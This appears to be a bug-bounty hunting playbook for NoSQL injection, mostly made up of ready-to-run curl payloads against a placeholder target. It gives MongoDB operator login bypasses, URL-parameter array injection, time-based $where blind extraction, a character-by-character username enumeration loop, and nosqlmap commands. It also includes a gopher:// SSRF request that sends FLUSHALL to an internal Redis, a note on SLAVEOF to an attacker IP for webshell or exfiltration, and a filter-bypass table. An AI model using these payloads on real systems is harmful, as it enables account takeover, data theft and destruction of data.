HUNT-NOSQLI — NoSQL Injection
Crown Jewel Targets
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
- MongoDB auth bypass —
{"username": {"$gt": ""}, "password": {"$gt": ""}}logs in as first user in collection (usually admin) - $where JS injection — if $where is enabled: blind injection → data exfil
- Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE
Attack Surface Signals
URL & Param Patterns
/api/users/login POST with JSON body /api/search?q= /api/find?filter= /api/query?where= Any endpoint accepting JSON body with username/password
Stack Signals
| Signal | Vector |
|---|---|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
Step-by-Step Hunting Methodology
Phase 1 — Auth Bypass (MongoDB)
bash# Operator injection in JSON body curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' # Regex wildcard — match any username curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}' # ne (not equal) bypass curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": "admin", "password": {"$ne": "wrong"}}' # in array bypass curl -s -X POST https://$TARGET/api/login \ -H "Content-Type: application/json" \ -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
Phase 2 — URL Parameter Injection
bash# Array notation (Express/PHP-style) curl "https://$TARGET/api/users?username[$gt]=&password[$gt]=" curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i" # POST form data curl "https://$TARGET/api/login" \ --data "username[$gt]=&password[$gt]="
Phase 3 — $where Blind Injection (time-based)
bash# Test if $where is enabled (time-based detection, 5s delay) curl -s -X POST https://$TARGET/api/search \ -H "Content-Type: application/json" \ -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}' # If response takes 5+ seconds → $where injection confirmed # Blind data exfil (username starts with 'a'?) curl -s -X POST https://$TARGET/api/search \ -H "Content-Type: application/json" \ -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
Phase 3b — Syntax injection into a concatenated $where/query (string context)
When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query ' || '1'=='1 # always-true (string-context breakout) ' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger: Injecting syntax into NoSQL queries.)
Phase 4 — Data Dump via Regex
bash# Enumerate usernames character by character for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do RESP=$(curl -s -X POST https://$TARGET/api/users \ -H "Content-Type: application/json" \ -d "{\"username\": {\"\$regex\": \"^$c\"}}") echo "$c: $(echo $RESP | wc -c)" done
Phase 5 — Automation
bash# nosqlmap pip3 install nosqlmap nosqlmap -u "https://$TARGET/api/login" --attack 1 # nosqlmap data extraction nosqlmap -u "https://$TARGET/api/login" --attack 2
Phase 6 — Redis via SSRF
bash# If SSRF found, probe internal Redis via gopher:// curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a" # CONFIG SET webshell (if Redis has write access to web root) # Use SLAVEOF for OOB data exfil
Bypass Table
| Defense | Bypass |
|---|---|
| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |
Sanitizes $ | Unicode: $gt |
| Blocks operator keys | Nested objects deeper in structure |
Chain Table
| NoSQLi finding | Chain to | Impact |
|---|---|---|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
Validation
✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
Severity:
- Auth bypass as admin: Critical
- User collection dump: High
- Blind injection (no useful exfil): Medium

